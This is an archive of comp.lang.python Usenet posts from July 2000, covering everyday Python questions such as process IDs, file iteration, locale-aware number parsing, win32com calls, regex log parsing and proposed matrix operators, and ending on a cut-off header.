Message-ID: <sDNd5.7762$4p3.55546@news-server.bigpond.net.au>

"j vickroy" <jvickroy at sec.noaa.gov> wrote in message
news:3977482B.478D2754 at sec.noaa.gov...
> How can I obtain the process id for a program launched via
>
>   os.system (theProgram) ?
>
> I would like to do this portability (Unix, Windows).

AFAIK, there is no portable solution.  Using win32process.CreateProcess()
under Windows will return the PID (along with the process handle, which
can be used to wait for the process to terminate)

Mark.





From donn at u.washington.edu  Fri Jul 21 12:36:18 2000
From: donn at u.washington.edu (Donn Cave)
Date: 21 Jul 2000 16:36:18 GMT
Subject: iterating over lines in a file
References: <vnLd5.27741$r9.839310@news.easynews.com> <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com>
Message-ID: <8l9u62$1tag$1@nntp6.u.washington.edu>

Quoth "Roger Upole" <rupole at compaq.net>:
| I must take exception to your insistence that
|    "Everything should be done ONCE, and only ONCE.  In ONE
|    place in the code."
| Besides sounding didactic, it is also completely false.  In many cases,
| an initial read is necessary to determine how (or even if) the rest of a
| file will be processed.  Also, different code may need to be called if
| the file is empty.
| Additionally, this overly simplistic programming style would be completely
| inadequate for most involved programming tasks.

Whatever.  You do what you want.  But when that means stuff like this,

|>> f=open('filename','r')
|>> fline = f.readline()
|>> while fline:
|>>     ....
|>>     fline = f.readline()

eventually you're going to have a debugging problem when you change that
function at one site and neglect to make the same change at the other.
That was the context for that statement.

If you have to sort this out here before you can go on to do anything
today, clarity may come if you look at it this way:  what is a "thing",
when we say "everything should be done once?"  Does that mean f.readline(),
i.e., f.readline() can be called in only one place?  If we have two
places in our program that test __name__ == '__main__', should those 
two be consolidated into one?  What about "import sys"?

As stupid as that would be, to write code like the example above just
to avoid a "while 1" is worse, because at least our "one" philosophy
has an explanation.

If you're looking for a sensible statement that you wouldn't have to
take exception to, what if a "thing" is a section of code that if
duplicated would certainly be subject to the same change issues in
each instance.  I.e., if changed at site 1 it would certainly have
to be changed in the same way at site 2.  Where that's not the case,
we are evidently talking about a different "thing", something that
looks the same but has a different meaning.  No one would want to
argue that two things with different meanings should be forced
together, only when the meaning is the same.

	Donn Cave, donn at u.washington.edu


From samschul at pacbell.net  Thu Jul 13 11:14:00 2000
From: samschul at pacbell.net (Sam Schulenburg)
Date: Thu, 13 Jul 2000 15:14:00 GMT
Subject: OSCON help? (Second try)
References: <8kkjke$l59$1@slb6.atl.mindspring.net>
Message-ID: <8kkmb6$ha0$1@nnrp1.deja.com>

I'll be at the conference. Give me details on what's required and I
will be happy to help if I can.

Sam Schulenburg
(408)325 5941 (work)
(408) 683-2276 (home)

In article <8kkjke$l59$1 at slb6.atl.mindspring.net>,
  aahz at netcom.com (Aahz Maruch) wrote:
> I'm giving a presentation at OSCON next week on threads in Python.
The
> presentation is Thursday, 7/20, at 3:30.  I'm hearing-impaired, so I'd
> like some help transcribing questions from the audience.  Emile van
> Sebille has already kindly offered to help, but I'd like at least one
> more volunteer as backup.  Any takers?
> --
>                       --- Aahz (Copyright 2000 by aahz at netcom.com)
>
> Androgynous poly kinky vanilla queer het    <*>
http://www.rahul.net/aahz/
> Hugs and backrubs -- I break Rule 6
>
> "do you want my self-identities alphabetically, chronologically, or in
> random order?"  -- Misha
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From aahz at netcom.com  Mon Jul 31 18:13:49 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 22:13:49 GMT
Subject: removing characters from a string?
References: <8m4rqn+jpg0@eGroups.com>
Message-ID: <8m4tmt$d6h$1@slb1.atl.mindspring.net>

In article <8m4rqn+jpg0 at eGroups.com>,  <jesse at multimediacollective.com> wrote:
>
>this_string = "jesse at multimediacollective.com"
>
>"""and I wanted to get rid of the @, how would I do that? This 
>process has to be efficent for removing large quantities of special 
>characters, such as <,>,#,%,* etc, from the same string.  

string.translate(,,deletechars) is the fastest.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From peter at schneider-kamp.de  Wed Jul 12 07:51:31 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 12 Jul 2000 11:51:31 +0000
Subject: Sound module question
References: <396BBA07.E844152@bresnanlink.net> <396BC08E.A3C036A4@pehr.net> <396C18D8.EC4CC59@bresnanlink.net>
Message-ID: <396C5BC3.A0C7882@schneider-kamp.de>

Aaron Berg wrote:
> 
> I have already tried that. I need to record sound in a time sensitive
> eviroment. I will most likely need to write my own sound module which I really
> 
> don't want to do...because I don't know where to start with that either. I
> have this really simple program called sound-recorder that has simple read and
> 
> write but in order to stop a recording the person needs to do ^c (ctrl + c)
> how would I start that program in a thread and be able to stop it at a certain
> 
> point using ctrl + c? A sound module for python would probably be the best
> solution still.

If you have the sources for that simple program it should not be hard to
write a Python module on top of that. (note: should, maybe it's hard
though).

If you can tell me where to find the sources, I'll take a look.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From alex at magenta.com  Mon Jul 17 14:43:50 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 17 Jul 2000 20:43:50 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <8kvdon$tit$1@slb3.atl.mindspring.net>
Message-ID: <8kvkb401g1e@news1.newsguy.com>

"G. David Kuhlman" <dkuhlman at netcom.com> wrote in message
news:8kvdon$tit$1 at slb3.atl.mindspring.net...
    [snip]
> One thing (among many) that I do not understand is how C#Python can
> both compile directly to IL (intermediate language?) and produce a
> .DLL/.EXE.  Does the .EXE contain both an interpreter (VM ?) and
> the IL (byte code?) that it interprets?  Or does IL mean that the
> machine code is in there, but augmented with some meta-information
> for debuggers and other tools?  Or, what?

As I "read between the lines", mostly in the paper (on the MSDN
online technical articles library) about Eiffel#, the .NET framework
lets IL (bytecode and metadata, or native-code and metadata) be
packed into a module (DLL or EXE), and if desired multiple modules
may be packed into one (modules may also refer to other modules
outside of their 'packaging', but a more self-contained packaging
may also be provided if desired).

I guess/suspect that Python.NET (or Python# as the case may be)
exploits exactly these capabilities of the framework...?


Alex





From Rod.Haper at sage.nelesautomation.com.bbs  Fri Jul 14 19:00:01 2000
From: Rod.Haper at sage.nelesautomation.com.bbs (Rod.Haper at sage.nelesautomation.com.bbs)
Date: 14 Jul 2000 23:00:01 GMT
Subject: atof problem.
Message-ID: <3bPBj1$mXq@openbazaar.net>

Also make sure that your locale is not set to something useful - the
default is usually 'C' which leave most of the locale parameters unset.
Here is an example of setting the locale to en_US showing how it sets
the various locale parameters:

>>>
>>> import locale
>>> locale.setlocale(locale.LC_ALL)
'C'
>>>
>>> locale.localeconv()
{'grouping': [127], 'currency_symbol': '', 'n_sign_posn': 127,
'p_cs_precedes': 127, 'n_cs_precedes': 127, 'mon_grouping': [],
'n_sep_by_space': 127, 'decimal_point': '.', 'negative_sign': '',
'positive_sign': '', 'p_sep_by_space': 127, 'int_curr_symbol': '',
'p_sign_posn': 127, 'thousands_sep': '', 'mon_thousands_sep': '',
'frac_digits': 127, 'mon_decimal_point': '', 'int_frac_digits': 127}
>>>
>>> locale.setlocale(locale.LC_ALL, 'en_US')
'en_US'
>>>
>>> locale.localeconv()
{'grouping': [3, 3, 0], 'currency_symbol': '$', 'n_sign_posn': 1,
'p_cs_precedes': 1, 'n_cs_precedes': 1, 'mon_grouping': [3, 3, 0],
'n_sep_by_space': 0, 'decimal_point': '.', 'negative_sign': '-',
'positive_sign': '', 'p_sep_by_space': 0, 'int_curr_symbol': 'USD ',
'p_sign_posn': 1, 'thousands_sep': ',', 'mon_thousands_sep': ',',
'frac_digits': 2, 'mon_decimal_point': '.', 'int_frac_digits': 2}
>>>
>>> s = '123,456,789.2'
>>> s
'123,456,789.2'
>>> locale.atof(s)
123456789.2
>>>





richard_chamberlain wrote:
>
> Hi William,
>
> Yes you could use the locale module to do what you want:
>
> import locale
> s="123,456,789.2"
> print locale.atof(s)
>
> As Bjorn said you'll have to get the locale module from somewhere.
>
> Otherwise do something like below:
>
> import string
> def rcatof(num):
>     try:
>         flt=float(string.replace(num,',',''))
>         return flt
>     except:
>         return None
>
> >>> import myScript
> >>> myScript.rcatof('123,456.2')
> 123456.2
>
> Richard
>
> William Dandreta <wjdandreta at worldnet.att.net> wrote in message
> news:yUqb5.977$tI4.52638 at bgtnsc05-news.ops.worldnet.att.net...
> > I am having a problem with the atof function. I tried to convert 1,142.00
> to
> > a float but the comma causes a problem. I resolved the problem by removing
> > the comma but there must be a better way.
> >
> > I looked in the documentation and there was mention of the $LANG
> > environmental variable but it did not tell haw to use it. Also, it
> mentioned
> > settings could be made using the functions in locale module. I tried to
> > import the locale module but I get an error message that the _locale
> module
> > doesn't exist.
> >
> > Anyone have a clue about this?
> >
> > Bill
> >
> >

--
+----------------------------------------------------------------------+
| Rod Haper, Senior Systems Analyst      |  Neles Automation           |
| Phone: 713-346-0652 - direct           |  SCADA Solutions, Inc.      |
|        713-939-0393 - fax              |  7000 Hollister             |
| Rod.Haper at sage.nelesautomation.com     |  Houston, Texas 77040, USA  |
+----------------------------------------------------------------------+


From baron at null.net  Sat Jul  8 00:51:06 2000
From: baron at null.net (Matthew Schinckel)
Date: Sat, 8 Jul 2000 14:21:06 +0930
Subject: Making tabs illegal
In-Reply-To: <8k5l8d$9lr$1@nnrp1.deja.com>
References: <394ac7ea.609024015@nntp.interaccess.com> <3950C0E2.7532D38@sightreader.com> <8k5l8d$9lr$1@nnrp1.deja.com>
Message-ID: <Pine.BOS.4.10.10007081420100.1550-100000@be>

On Fri, 7 Jul 2000, Forrest Cahoon wrote:

> In article <3950C0E2.7532D38 at sightreader.com>,
>   Ken Seehof <kens at sightreader.com> wrote:
> > [ ... ]
> >
> > As for the space/tab mixing issue, the answer is simple: Make tab an
> > illegal character in python.  Problem solved.
> >

Ugh!  Don't make this the default - I hate having to hit space four times,
I'd much rather just use tab.

-- 
Matthew Schinckel	<matt at null.net>

ARCHDUKE FERDINAND FOUND ALIVE --
	FIRST WORLD WAR MISTAKE



From 340083143317-0001 at t-online.de  Tue Jul 18 16:34:10 2000
From: 340083143317-0001 at t-online.de (Thomas Malik)
Date: Tue, 18 Jul 2000 22:34:10 +0200
Subject: Newbie question: PyOpenGL installation
References: <3bRNNT$lvY@openbazaar.net>
Message-ID: <8l2emv$583$13$1@news.t-online.com>

>
> * install python-numpy-15.3-1.i386.rpm from
>   http://download.sourceforge.net/numpy/python-numpy-15.3-1.i386.rpm
>
> * grab pyOpenGL from CVS using the instructions on
>   http://www.pythonpros.com/cvs.html
>
That's quite old, the actual PyOpenGL is now on
http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/?cvsroot=PyOpenGL

cheerio
Thomas





From ulrich.schreiner at innuendo.de  Sat Jul 29 05:05:33 2000
From: ulrich.schreiner at innuendo.de (Ulrich Schreiner)
Date: Sat, 29 Jul 2000 11:05:33 +0200
Subject: "always passes by reference"
References: <8lqd0p$snj$1@news.dtc.hp.com> <LNBBLJKPBEHFEDALKOLCIEENGMAA.tim_one@email.msn.com> <8lqiq3$7iha$1@nntp6.u.washington.edu> <8ls8bm$cde$1@news.dtc.hp.com>
Message-ID: <39829E5D.45357D37@innuendo.de>

it is all so easy, so why this big discussion?

you have ONE and exactly ONE object identity, but you can have multiple
references to this identity. in your program you always work with
references. if there is no reference your object (the identity) will be
GC'd. if your object is immuatable you do not have a chance to change
its value, but this is a completely different discussion. 

how do you call this python style of argument passing? i really don't
care. but i find it normal and i do not have any problems with it,
although i'm relatively new to python (half a year). 

the people having problems with this sort of "passing references to
perhaps immutable object identities by value" have this problems with
any language. i saw really terrible java code from so called "java
experts" (sun employees!!!) and these guys have a big problem with their
understandig of java's argument passing style. but they don't know this
... ;-)

it is really always the same. and it is really very very very simple
:-))

"(Greg Weeks)" wrote:
> PS to all: Once you distinguish between a word and a writing of a word, the
> remaining question is whether you prefer to define an "object" as 1) a
> region of memory or 2) an address.  #2 may grate on your intuition, but
> otherwise it simplifies discussions of what is happening.
> 
> You might say that I (and others!) simply use the term "object" when other
> people say "reference".  That is almost true.  But the people who like the
> term "reference" also say that there can be several references to a single
> object.  This is confused.  If an object is a region of memory, it has only
> one address.  So if there are multiple references, then a "reference" is a
> *writing* of an address.  I find it confusing to have an expression for a
> writing of a word but not for the word itself.

</usc>


From to_get_my_address at see.my.signature  Wed Jul 26 22:47:27 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 15:47:27 +1300
Subject: Discussion: new math operators
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com> <Kp7e5.8550$4p3.62759@news-server.bigpond.net.au> <slrn8ni31s.116.hzhu@rocket.knowledgetrack.com> <ye1u2df8z10.fsf@ax.ex.ac.uk>
Message-ID: <397FA2BE.14B34022@see.my.signature>

Huaiyu Zhu <hzhu at knowledgetrack.com> writes:
> 
>  3. If there could be future calculus of operators, would we now
>     favor (*)= or (*=) for augmented assignment?

Depends on whether you want to elementwise multiply and assign,
or multiply and assign elementwise :-)

I'm sure the people who favour + and .+ doing different things
will be able to come up with some subtle difference between
these, and argue for having both...

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From mckim at bandersnatch.lerc.nasa.gov  Tue Jul 25 16:23:10 2000
From: mckim at bandersnatch.lerc.nasa.gov (Jim McKim)
Date: 25 Jul 2000 16:23:10 -0400
Subject: perl to python, case + regular expression question
Message-ID: <y7gd7k26jtd.fsf@bandersnatch.lerc.nasa.gov>

I'm looking at adopting python for a project. Until now, most of my
experience has been in perl. Right now I'm cramming python.

I've got a question about what would be a good way in python to
express an operation that needs to be done fairly often in this
project.

The operation (parsing log files) in perl would look like:

if ($input_line =~ /^log entry (\d+)/) {
    my $log_entry_num = $1;
    ...etc.
}
elsif ($input_line =~ /^run number (\d+) timestamp (.*)/) {
    my $run_number = $1;
    my $timestamp = $2;
    ...etc.
}
...

The best way I've been able to come up with in python is to execute a
re.search() method twice, once in the if statement, and then again in
the block following the if statement to obtain the match object.
Something like:

if re.search('^log entry (\d+)', input_line):
    match = re.search('^log entry (\d+)', input_line)
    log_entry_num = match.group(1)
    ...etc.
...

Having to do the search twice looks cluttered and wordy. It probably
isn't efficient. It doesn't enhance maintainability. Is there a better
way?

-- 
Jim McKim
NASA Glenn Research Center



From jkraska1 at san.rr.com  Mon Jul 10 21:53:36 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Tue, 11 Jul 2000 01:53:36 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com>
Message-ID: <396A7ECC.730B84D@san.rr.com>

> >And all Java is is a variant of the C++ language with the kitchen
> >think glued on and the label changed. Hence the ridiculousness of
> >the claim. Sun would be stupid to even try.

>  Nope. Microshit is stupid to even try to copy Jva.

Thank goodness for the world you're not in the intellectual
property business, eh? (HINT: take a peek into Sun's intellectual
property claims regarding Java before you claim what they can
sue for).



C/


From news at heitlager.com  Wed Jul 12 06:07:08 2000
From: news at heitlager.com (Ilja Heitlager)
Date: Wed, 12 Jul 2000 12:07:08 +0200
Subject: win32com: How to use optional parameters?
References: <8ket8e$nj6$1@spectra.a2000.nl> <8kf3i4$1gu$1@spectra.a2000.nl> <8kft89$rnd$1@news2.acs.oakland.edu>
Message-ID: <8khfuj$qp$1@tesla.a2000.nl>

>why not hold the places like this:
>
>xl.Worksheets.Add(NULL,NULL,NULL,aftervaluehere)

NULL is not a keyword in Python, but if I used pythoncom.Empty instead It
worked thanx

Marc Hammond suggested I changed the top few constants from
"pythoncom.Missing" to "pythoncom.Empty" in the
.py generated by makepy. Which works if beter, bexuase I can use the named
parameters

>just as if you weren't using the "parametername=varnam" syntax, even VB
>would default to the order the function expects the calls.

Now both work.

>
>Another sure way to find out would be to generate the MIDL for the excel
VBA
>you are coding, then you could do the same thing in C/C++ COM which would
>most certainly require the correct order of parameters and not named
>parameters in any order.

Don't understand this, but sound complicated. Since Python, C/C++ is not an
option for me anymore ;-)




From mksql at my-deja.com  Thu Jul  6 16:21:12 2000
From: mksql at my-deja.com (mksql at my-deja.com)
Date: Thu, 06 Jul 2000 20:21:12 GMT
Subject: Win32com ADO curiosity #1: MoveNext
Message-ID: <8k2pnc$f64$1@nnrp1.deja.com>

In the following code (rs refers to an ADO recordset already created):

    print rs.Fields(1).Value
    rs.MoveNext
    print rs.Fields(1).Value

prints the same record twice, while:

    print rs.Fields(1).Value
    rs.MoveNext()
    print rs.Fields(1).Value

prints 2 records, as expected.

Why does MoveNext require the () ? The ADO object model does not
specify parameters for MoveNext, MoveFirst, etc.


Sent via Deja.com http://www.deja.com/
Before you buy.


From neelk at brick.cswv.com  Sat Jul 22 09:23:50 2000
From: neelk at brick.cswv.com (Neel Krishnaswami)
Date: 22 Jul 2000 13:23:50 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l7c80$mlc$1@tomm.stsci.edu> <Pine.LNX.4.10.10007201256340.17820-100000@us2.mayo.edu> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net>
Message-ID: <slrn8nj9ul.6bu.neelk@brick.cswv.com>

Aahz Maruch <aahz at netcom.com> wrote:
> In article <slrn8nevfr.d8.bmcd at ripley.sulaco.net>,
> Ben Caradoc-Davies <bmcd at es.co.nz> wrote:
> >
> >The fact that APL has been mentioned in this thread is a bad, *bad* sign.
> 
> Yeah, that's my feeling, too.  It's not entirely clear to me why we
> can't use some kind of string-based expression mechanism instead of
> adding all this at the language level.  Python's brilliance is its
> *clean* syntax.  Why are we mucking with the core language for this?

We do need to muck with the language to fix this, but the answer is
NOT to add syntax, but to remove the type/class dichotomy. Then it
will be possible to do something to fix the __mul__/__rmul__ thing so
it's actually usable. 

My proposal would be to replace it with encapsulated multimethods,
because that's the best way of solving the binary method problem in an
OO language. This is really the key problem people face: Elementwise
and matrixwise multiplication are easy to implement, but doing it so
that Python calls the right one at the right time, in a way that you
can still extend the system with new subclasses, is hard.


Neel


From olivierS.dagenaisP at canadaA.comM  Mon Jul  3 10:42:00 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 03 Jul 2000 14:42:00 GMT
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au> <8jp3pt$q7j$1@nnrp1.deja.com>
Message-ID: <YC185.27369$W35.636919@news20.bellglobal.com>

How about a batch file called p.bat ?  (with optional status messages)

-----start p.bat--------
@echo off
echo Starting script '%1.py' ....
c:\progra~1\Python\python "%1.py" %2 %3 %4 %5 %6 %7 %8 %9
echo Execution complete!
----end p.bat-----------


Given you have a script called "spam.py":

-----start spam.py------
print "Spam spam spam spam"
-----end spam.py--------


Then, you would type:

c:\work\python\stuff>p spam
Starting script 'spam.py' ...
Spam spam spam spam
Execution complete!


Is that what you wanted??

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Neo Brave" <neo_brave at my-deja.com> wrote in message
news:8jp3pt$q7j$1 at nnrp1.deja.com...
> In article <WzI75.5714$Tb7.31718 at news-server.bigpond.net.au>,
>   "Mark Hammond" <MarkH at ActiveState.com> wrote:
> > Under Windows NT or Win2k, you can use the PATHEXT environment
> > variable. Simply add ".py" to the semi-colon sep'd list of
> > extensions, and off you go!
>
> Great, thats a help for NT, but I also want to do this on Win98 :-).
>
> > No solution I am aware of for 95, although there are some tricks
> > you can pull (Im sure someone else will fill these in for you)!
>
> Anyone???
>
> Neo
> --
> Neo Brave
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From paul at prescod.net.bbs  Mon Jul 17 20:20:02 2000
From: paul at prescod.net.bbs (paul at prescod.net.bbs)
Date: 18 Jul 2000 00:20:02 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operatorsfo
Message-ID: <3bRUP3$kW4@openbazaar.net>

Huaiyu Zhu wrote:
>
> ...
>
> That's a good point.  Can __getattr__ be made to work only on a selected
> number of attributes?  We could use it on T, H, I, C for transpose,
> Hermitian transpose, inverse and conjugate.  But if it works on all the
> undefind members the error message may be too obscure.

I don't think you need __getattr__

class Matrix:
	def __init__( self, ....):
		self.T=Transpose( self )
		self.H=Hermitian( self )
		self.I=Inverse( self )
		self.C=Conjugate( self )
		self.E=Elementwise( self )
		self.M=self # matrixwise is default
	... other matrix-like methods ...

class Transpose:
	def __init__( self, mymatrix ):
		self.mymatrix=mymatrix
	... other matrix-like methods, but transposed ...

Notice that no computation (e.g. actual transposition) needs to be done
until you actually need to calculate a value. Maybe you can find
optimizations that allow only tiny parts of matrices to be computed.
--
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist


From g2 at seebelow.org  Mon Jul 31 14:30:01 2000
From: g2 at seebelow.org (Grant Griffin)
Date: Mon, 31 Jul 2000 19:30:01 +0100
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCCEJHGMAA.tim_one@email.msn.com>
			<39817536.FDBC508D@hursley.ibm.com> <87g0ota6fo.fsf@psyche.evansnet> <3985424E.90C4AC49@hursley.ibm.com>
Message-ID: <3985C5A9.21FB@seebelow.org>

Paul Duffin wrote:
> 
...
> Does this mean that it is possible to create a GPL version of Python ?
> 
> If so then this would result in a split as patches submitted under the
> original license could be merged into the GPL version but the reverse
> direction would not be allowed, otherwise they would both end up a GPL.

Ya' know...this whole nutty GPL thing is beginning to sound a lot like a
venereal disease.  (Kids, be sure to protect yourselves. ;-)

(abstinence-is-the-ultimate-protection-<wink>)-ly y'rs

=g2
-- 
_____________________________________________________________________

Grant R. Griffin                                       g2 at dspguru.com
Publisher of dspGuru                           http://www.dspguru.com
Iowegian International Corporation	      http://www.iowegian.com


From zo at angband.org  Sat Jul 29 13:54:16 2000
From: zo at angband.org (Eric Lorenzo)
Date: 29 Jul 2000 13:54:16 -0400
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com>
	<slrn8o0n0b.qhk.grey@teleute.rpglink.com>
	<8lpt57$hsu$2@newshost.accu.uu.nl>
	<slrn8o10ko.rt1.grey@teleute.rpglink.com>
	<8lq5q6$fn4$1@newshost.accu.uu.nl>
	<slrn8o1do5.rt1.grey@teleute.rpglink.com>
	<8lspdu$m7e$1@newshost.accu.uu.nl>
	<slrn8o40d1.49c.grey@teleute.rpglink.com>
	<20000728192952.A32288@exeter.exeter.org>
	<slrn8o4aid.7dm.grey@teleute.rpglink.com>
	<m3og3hjf79.fsf@gondolin.beleriand>
Message-ID: <3h7la4bz5j.fsf@angband.org>

Steffen Ries <steffen.ries at sympatico.ca> writes:
> grey at despair.rpglink.com (Steve Lamb) writes:
> > On Fri, 28 Jul 2000 19:29:52 -0400, Karl Ulbrich <kulbrich at yahoo.com> wrote:
> > >If they already contained numbers (well, strings of digits), and
> > >you were certain, then simply:
> > 
> > >	a = int(b)
> > 
> > As stated, that would work except Python returns a None on a
> > no-match and None can't be converted.
> 
> use:
>      a = int(b or 0)
> then.

Steve's entire die-parsing problem could be cleaned up with the tip
above, and a better regexp.  I can't see any good reason for him to
put the modifier's sign into a seperate group from the digits, and I
can't see any reason to use two big regexps then the two forms of
expression (with or without modifier) vary by only a bit at the end.
How about this:

import re

parse_die_re = re.compile('^(\d{1,2})[dD](\d{1,3})([+-]\d{1,3}|)$')

def parse_die(s):
    try:
        g = parse_die_re.match(s).groups()
    except AttributeError:
	raise ValueError('Not a valid die expression')
    return int(g[0]), int(g[1]), int(g[2] or 0)

This the always generates 3 groups, the last one being an explicitly
signed integer when there's a modifier present, and the empty string
otherwise.  Since the empty string behaves as a boolean false, the
'g[2] or 0' thing works.

The interesting thing about this is that it's actually an example of
Python behaving the way that Steve says it doesn't (but should): g[2],
a string, is treated like a boolean when used with the boolean
operator 'or', but goes back to being a string once the result of that
expression gets passed into int.  If Python was *really* as completely
anal-retentive about types as he thinks, there would be a BooleanType,
and the 'or' operator would choke on both the string and the integer.

Eric


From bill at dehora.fsnet.co.uk  Fri Jul 28 18:50:11 2000
From: bill at dehora.fsnet.co.uk (Bill de hÓra)
Date: Fri, 28 Jul 2000 23:50:11 +0100
Subject: Is the "Be" significant? (Re: The State of Python)
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <397FD6B9.5017B952@see.my.signature>
Message-ID: <8lt3pm$bgg$3@newsg4.svr.pol.co.uk>

> By the way, does BeOpen have anything to do with
> the BeOS people? If not, it would seem to be a
> rather confusing choice of name.

I don't understand why BeOS chose that name either.




From db3l at fitlinxx.com  Wed Jul 12 15:07:21 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 12 Jul 2000 15:07:21 -0400
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <8kft65$rnc$1@news2.acs.oakland.edu> <BySa5.537$652.12767@newsc.telia.net> <u6Ta5.15146$Tb7.96232@news-server.bigpond.net.au>
Message-ID: <u4s5v88wm.fsf@ctwd0143.fitlinxx.com>

"Neil Hodgson" <neilh at scintilla.org> writes:

>    So, I'll repeat Richard's code and copy it to your email in the hope that
> telia is better at email than usenet.
> 
> import win32api,string
> 
> drives=win32api.GetLogicalDriveStrings()
> drives=string.splitfields(drives,'\000')
> print drives
> 
>    Looks like it gets one too many elements - the last is empty.

That's due to the definition for GetLogicalDriveStrings() - it returns
a string of NUL-terminated drive names back to back, and the overall
list is terminated with another NUL.  So if you split on the NUL,
you'll always have an empty string at the end.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From peter at schneider-kamp.de  Thu Jul 20 04:53:11 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Thu, 20 Jul 2000 08:53:11 +0000
Subject: questionnaire about zip and for loops
Message-ID: <3976BDF7.82FB6C56@schneider-kamp.de>

This is a slightly reduced version of a questionnaire run by Greg Wilson on some CS
grad students.

I'd like to use the readers of comp.lang.python as guinea pigs this time.

PLEASE SEND THE RESULTS TO mailto:peter at schneider-kamp.de - DON'T SEND THEM TO THE LIST

Thanks for your time,
Peter

-----------------------------------------------------------------------------------------

The single and double loop below print the output shown:

for x in [10, 20, 30]:           for x in [10, 20, 30]:
    print x                          for y in [1, 2, 3]:
                                         print x+y
10                              11
20                              12
30                              13
                                21
                                22
                                23
                                31
                                32
                                33

Match each of the following example for-loops to an output. Only make one cross per line.
Please consider each example on its own.
(Note that several examples may print the same thing.)


                                                (1)     (2)     (3)     (4)     (5)     (6)

                                                11      11      11      11      error   ??
                                                22      12      22      12
                                                33      13              21
                                                        21              22
                                                        22              31
                                                        23              32
                                                        31
                                                        32
                                                        33

(A)
for (x, y) in [[10, 1], [20, 2], [30, 3]]:      o       o       o       o       o       o
    print x+y

(B)
for [x, y] in zip([10, 20, 30], [1, 2, 3]):     o       o       o       o       o       o
    print x+y

(C)
for [x, y] in zip([10, 20, 30], [1, 2]):        o       o       o       o       o       o
    print x+y

(D)
for x; y in [10, 20, 30]; [1, 2, 3]:            o       o       o       o       o       o
    print x+y

(E)
for x; y in [10, 20, 30]; [1, 2]:               o       o       o       o       o       o
    print x+y

(F)
for x in [10, 20, 30]; y in [1, 2, 3]:          o       o       o       o       o       o
    print x+y

(G)
for x in [10, 20, 30]; y in [1, 2]:             o       o       o       o       o       o
    print x+y


--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From fiona at sitegnome.com  Thu Jul 13 00:09:17 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 13 Jul 2000 04:09:17 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 13th, 2000
